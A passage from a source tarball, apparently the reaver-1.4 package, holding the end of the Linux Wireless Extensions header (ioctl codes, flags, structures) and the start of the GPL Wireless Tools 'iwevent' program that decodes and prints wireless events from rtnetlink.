IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 16 ioctl are wireless device private. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). * And I repeat : you are not obliged to use them with iwspy, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVFIRST 0x8C00 /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 pad; /* Unused - just for alignement */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Filler to keep "version" at the same offset */ __s32 old_freq[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* Note : in the case of iw_point, the extra data will come at the * end of the event */ #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwevent.c0000755000175000017500000004766211705505257015430 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPL 99->04 * * Main code for "iwevent". This listent for wireless events on rtnetlink. * You need to link this code against "iwcommon.c" and "-lm". * * Part of this code is from Alexey Kuznetsov, part is from Casey Carter, * I've just put the pieces together... * By the way, if you know a way to remove the root restrictions, tell me * about it... * * This file is released under the GPL license. * Copyright (c) 1997-2004 Jean Tourrilhes */ /***************************** INCLUDES *****************************/ #include "iwlib.h" /* Header */ #include #include #include #include #include /* Ugly backward compatibility :-( */ #ifndef IFLA_WIRELESS #define IFLA_WIRELESS (IFLA_MASTER + 1) #endif /* IFLA_WIRELESS */ /****************************** TYPES ******************************/ /* * Static information about wireless interface. * We cache this info for performance reason. */ typedef struct wireless_iface { /* Linked list */ struct wireless_iface * next; /* Interface identification */ int ifindex; /* Interface index == black magic */ /* Interface data */ char ifname[IFNAMSIZ + 1]; /* Interface name */ struct iw_range range; /* Wireless static data */ int has_range; } wireless_iface; /**************************** VARIABLES ****************************/ /* Cache of wireless interfaces */ struct wireless_iface * interface_cache = NULL; /************************ RTNETLINK HELPERS ************************/ /* * The following code is extracted from : * ---------------------------------------------- * libnetlink.c RTnetlink service routines. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version * 2 of the License, or (at your option) any later version. * * Authors: Alexey Kuznetsov, * ----------------------------------------------- */ struct rtnl_handle { int fd; struct sockaddr_nl local; struct sockaddr_nl peer; __u32 seq; __u32 dump; }; static inline void rtnl_close(struct rtnl_handle *rth) { close(rth->fd); } static inline int rtnl_open(struct rtnl_handle *rth, unsigned subscriptions) { int addr_len; memset(rth, 0, sizeof(rth)); rth->fd = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (rth->fd < 0) { perror("Cannot open netlink socket"); return -1; } memset(&rth->local, 0, sizeof(rth->local)); rth->local.nl_family = AF_NETLINK; rth->local.nl_groups = subscriptions; if (bind(rth->fd, (struct sockaddr*)&rth->local, sizeof(rth->local)) < 0) { perror("Cannot bind netlink socket"); return -1; } addr_len = sizeof(rth->local); if (getsockname(rth->fd, (struct sockaddr*)&rth->local, (socklen_t *) &addr_len) < 0) { perror("Cannot getsockname"); return -1; } if (addr_len != sizeof(rth->local)) { fprintf(stderr, "Wrong address length %d\n", addr_len); return -1; } if (rth->local.nl_family != AF_NETLINK) { fprintf(stderr, "Wrong address family %d\n", rth->local.nl_family); return -1; } rth->seq = time(NULL); return 0; } /******************* WIRELESS INTERFACE DATABASE *******************/ /* * We keep a few information about each wireless interface on the * system. This avoid to query this info at each event, therefore * reducing overhead. * * Each interface is indexed by the 'ifindex'. As opposed to interface * names, 'ifindex' are never reused (even if you reactivate the same * hardware), so the data we cache will never apply to the wrong * interface. * Because of that, we are pretty lazy when it come to purging the * cache... */ /*------------------------------------------------------------------*/ /* * Get name of interface based on interface index... */ static inline int index2name(int skfd, int ifindex, char * name) { struct ifreq irq; int ret = 0; memset(name, 0, IFNAMSIZ + 1); /* Get interface name */ irq.ifr_ifindex = ifindex; if(ioctl(skfd, SIOCGIFNAME, &irq) < 0) ret = -1; else strncpy(name, irq.ifr_name, IFNAMSIZ); return(ret); } /*------------------------------------------------------------------*/ /* * Get interface data from cache or live interface */ static struct wireless_iface * iw_get_interface_data(int ifindex) { struct wireless_iface * curr; int skfd = -1; /* ioctl socket */ /* Search for it in the database */ curr = interface_cache; while(curr != NULL) { /* Match ? */ if(curr->ifindex == ifindex) { //printf("Cache : found %d-%s\n", curr->ifindex, curr->ifname); /* Return */ return(curr); } /* Next entry */ curr = curr->next; } /* Create a channel to the NET kernel. Doesn't happen too often, so * socket creation overhead is minimal... */ if((skfd = iw_sockets_open()) < 0) { perror("iw_sockets_open"); return(NULL); } /* Create new entry, zero, init */ curr = calloc(1, sizeof(struct wireless_iface)); if(!curr) { fprintf(stderr, "Malloc failed\n"); return(NULL); } curr->ifindex = ifindex; /* Extract static data */ if(index2name(skfd, ifindex, curr->ifname) < 0) { perror("index2name"); free(curr); return(NULL); } curr->has_range = (iw_get_range_info(skfd, curr->ifname, &curr->range) >= 0); //printf("Cache : create %d-%s\n", curr->ifindex, curr->ifname); /* Done */ iw_sockets_close(skfd); /* Link it */ curr->next = interface_cache; interface_cache = curr; return(curr); } /*------------------------------------------------------------------*/ /* * Remove interface data from cache (if it exist) */ static void iw_del_interface_data(int ifindex) { struct wireless_iface * curr; struct wireless_iface * prev = NULL; struct wireless_iface * next; /* Go through the list, find the interface, kills it */ curr = interface_cache; while(curr) { next = curr->next; /* Got a match ? */ if(curr->ifindex == ifindex) { /* Unlink. Root ? */ if(!prev) interface_cache = next; else prev->next = next; //printf("Cache : purge %d-%s\n", curr->ifindex, curr->ifname); /* Destroy */ free(curr); } else { /* Keep as previous */ prev = curr; } /* Next entry */ curr = next; } } /********************* WIRELESS EVENT DECODING *********************/ /* * Parse the Wireless Event and print it out */ /*------------------------------------------------------------------*/ /* * Dump a buffer as a serie of hex * Maybe should go in iwlib... * Maybe we should have better formatting like iw_print_key... */ static char * iw_hexdump(char * buf, size_t buflen, const unsigned char *data, size_t datalen) { size_t i; char * pos = buf; for(i = 0; i < datalen; i++) pos += snprintf(pos, buf + buflen - pos, "%02X", data[i]); return buf; } /*------------------------------------------------------------------*/ /* * Print one element from the scanning results */ static inline int print_event_token(struct iw_event * event, /* Extracted token */ struct iw_range * iw_range, /* Range info */ int has_range) { char buffer[128]; /* Temporary buffer */ char buffer2[30]; /* Temporary buffer */ char * prefix = (IW_IS_GET(event->cmd) ? "New" : "Set"); /* Now, let's decode the event */ switch(event->cmd) { /* ----- set events ----- */ /* Events that result from a "SET XXX" operation by the user */ case SIOCSIWNWID: if(event->u.nwid.disabled) printf("Set NWID:off/any\n"); else printf("Set NWID:%X\n", event->u.nwid.value); break; case SIOCSIWFREQ: case SIOCGIWFREQ: { double freq; /* Frequency/channel */ int channel = -1; /* Converted to channel */ freq = iw_freq2float(&(event->u.freq)); if(has_range) { if(freq < KILO) /* Convert channel to frequency if possible */ channel = iw_channel_to_freq((int) freq, &freq, iw_range); else /* Convert frequency to channel if possible */ channel = iw_freq_to_channel(freq, iw_range); } iw_print_freq(buffer, sizeof(buffer), freq, channel, event->u.freq.flags); printf("%s %s\n", prefix, buffer); } break; case SIOCSIWMODE: printf("Set Mode:%s\n", iw_operation_mode[event->u.mode]); break; case SIOCSIWESSID: case SIOCGIWESSID: { char essid[IW_ESSID_MAX_SIZE+1]; memset(essid, '\0', sizeof(essid)); if((event->u.essid.pointer) && (event->u.essid.length)) memcpy(essid, event->u.essid.pointer, event->u.essid.length); if(event->u.essid.flags) { /* Does it have an ESSID index ? */ if((event->u.essid.flags & IW_ENCODE_INDEX) > 1) printf("%s ESSID:\"%s\" [%d]\n", prefix, essid, (event->u.essid.flags & IW_ENCODE_INDEX)); else printf("%s ESSID:\"%s\"\n", prefix, essid); } else printf("%s ESSID:off/any\n", prefix); } break; case SIOCSIWENCODE: { unsigned char key[IW_ENCODING_TOKEN_MAX]; if(event->u.data.pointer) memcpy(key, event->u.data.pointer, event->u.data.length); else event->u.data.flags |= IW_ENCODE_NOKEY; printf("Set Encryption key:"); if(event->u.data.flags & IW_ENCODE_DISABLED) printf("off\n"); else { /* Display the key */ iw_print_key(buffer, sizeof(buffer), key, event->u.data.length, event->u.data.flags); printf("%s", buffer); /* Other info... */ if((event->u.data.flags & IW_ENCODE_INDEX) > 1) printf(" [%d]", event->u.data.flags & IW_ENCODE_INDEX); if(event->u.data.flags & IW_ENCODE_RESTRICTED) printf(" Security mode:restricted"); if(event->u.data.flags & IW_ENCODE_OPEN) printf(" Security mode:open"); printf("\n"); } } break; /* ----- driver events ----- */ /* Events generated by the driver when something important happens */ case SIOCGIWAP: printf("New Access Point/Cell address:%s\n", iw_sawap_ntop(&event->u.ap_addr, buffer)); break; case SIOCGIWSCAN: printf("Scan request completed\n"); break; case IWEVTXDROP: printf("Tx packet dropped:%s\n", iw_saether_ntop(&event->u.addr, buffer)); break; case IWEVCUSTOM: { char custom[IW_CUSTOM_MAX+1]; memset(custom, '\0', sizeof(custom)); if((event->u.data.pointer) && (event->u.data.length)) memcpy(custom, event->u.data.pointer, event->u.data.length); printf("Custom driver event:%s\n", custom); } break; case IWEVREGISTERED: printf("Registered node:%s\n", iw_saether_ntop(&event->u.addr, buffer)); break; case IWEVEXPIRED: printf("Expired node:%s\n", iw_saether_ntop(&event->u.addr, buffer)); break; case SIOCGIWTHRSPY: { struct iw_thrspy threshold; if((event->u.data.pointer) && (event->u.data.length)) { memcpy(&threshold, event->u.data.pointer, sizeof(struct iw_thrspy)); printf("Spy threshold crossed on address:%s\n", iw_saether_ntop(&threshold.addr, buffer)); iw_print_stats(buffer, sizeof(buffer), &threshold.qual, iw_range, has_range); printf(" Link %s\n", buffer); } else printf("Invalid Spy Threshold event\n"); } break; /* ----- driver WPA events ----- */ /* Events generated by the driver, used for WPA operation */ case IWEVMICHAELMICFAILURE: if(event->u.data.length >= sizeof(struct iw_michaelmicfailure)) { struct iw_michaelmicfailure mf; memcpy(&mf, event->u.data.pointer, sizeof(mf)); printf("Michael MIC failure flags:0x%X src_addr:%s tsc:%s\n", mf.flags, iw_saether_ntop(&mf.src_addr, buffer2), iw_hexdump(buffer, sizeof(buffer), mf.tsc, IW_ENCODE_SEQ_MAX_SIZE)); } break; case IWEVASSOCREQIE: printf("Association Request IEs:%s\n", iw_hexdump(buffer, sizeof(buffer), event->u.data.pointer, event->u.data.length)); break; case IWEVASSOCRESPIE: printf("Association Response IEs:%s\n", iw_hexdump(buffer, sizeof(buffer), event->u.data.pointer, event->u.data.length)); break; case IWEVPMKIDCAND: if(event->u.data.length >= sizeof(struct iw_pmkid_cand)) { struct iw_pmkid_cand cand; memcpy(&cand, event->u.data.pointer, sizeof(cand)); printf("PMKID candidate flags:0x%X index:%d bssid:%s\n", cand.flags, cand.index, iw_saether_ntop(&cand.bssid, buffer)); } break; /* ----- junk ----- */ /* other junk not currently in use */ case SIOCGIWRATE: 